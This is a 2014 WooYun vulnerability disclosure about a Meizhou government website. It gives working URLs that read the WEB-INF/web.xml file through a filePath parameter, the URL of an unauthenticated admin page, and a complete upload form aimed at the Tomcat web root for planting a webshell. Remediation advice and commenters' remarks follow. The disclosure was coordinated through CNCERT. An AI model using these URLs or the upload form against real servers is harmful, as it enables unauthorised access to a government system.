当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-068399

漏洞标题：某政府网站WEB-INF目录读取到Getshell

相关厂商：某政府网站

漏洞作者： 小川

提交时间：2014-07-15 18:50

修复时间：2014-08-29 18:52

公开时间：2014-08-29 18:52

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-15： 细节已通知厂商并且等待厂商处理中
2014-07-20： 厂商已经确认，细节仅向厂商公开
2014-07-30： 细节向核心白帽子及相关领域专家公开
2014-08-09： 细节向普通白帽子公开
2014-08-19： 细节向实习白帽子公开
2014-08-29： 细节向公众公开

简要描述：

夸什么省？消耗多少人力物力，用来做慈善不好吗？

详细说明：

ragecomic.png

漏洞证明：

http://xf.meizhou.gov.cn/website/mzms/issue/infoContent.jsp?issueId=12290&msgType=00&filePath=/WEB-INF/web.xml&issueTypeCode=013002&issueTypeCodeName=%20%3E%3E%20%D0%C5%B7%C3%B7%A8%B9%E6
http://xf.meizhou.gov.cn/portal/admin/issue/InsertTitleImage.jsp
上传表单页面：

<body>
   <form name="fileForm" method="post" action="http://xf.meizhou.gov.cn/fileAction.do" enctype="multipart/form-data">
        <input name="imgName" type="hidden">
        <input name="filePath"  type="hidden" value="D:\project\apache-tomcat-6.0.26\webapps\ROOT\">
        <input name="action"  type="hidden" value="uploadFile">
        <input name="forwardName" type="hidden" value="photoTitle">
        <table width="100%" border="0">
          <tr>
            <td width="16%">上传图片：</td>
            <td width="84%"> <input name="uploadFile" type="file"> 
			<input type=submit />
            </td>
          </tr>
          <tr>
            <td>图片文字：</td>
            <td><input type="text" name="imgText"></td>
          </tr>
        </table>
      </form>
 </body>


同级地址
http://mzms.meizhou.gov.cn/website/mzms/issue/infoContent.jsp?issueId=12291&msgType=00&filePath=/WEB-INF/web.xml&issueTypeCode=013002&issueTypeCodeName=%CE%B4%D6%AA
估计是同一个服务器。

修复方案：

1限制web-inf目录的访问
2.修复后台portal系统的越权访问和和任意文件上传

版权声明：转载请注明来源 小川@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2014-07-20 12:15

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-07-15 18:55 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    。。。小厂商了

  2. 2014-07-15 19:51 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    @px1624 额，我分析的很辛苦的

  3. 2014-07-16 21:27 | 魂淡、 ( 路人 | Rank:17 漏洞数:2 | 么么哒)

    = =！小厂商么

  4. 2014-10-09 09:42 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    和你发的这个不是一样么? WooYun: 某门户建站系统任意文件上传影响多个政府

  5. 2015-01-04 09:15 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    @pandas 后来才发现是通用型的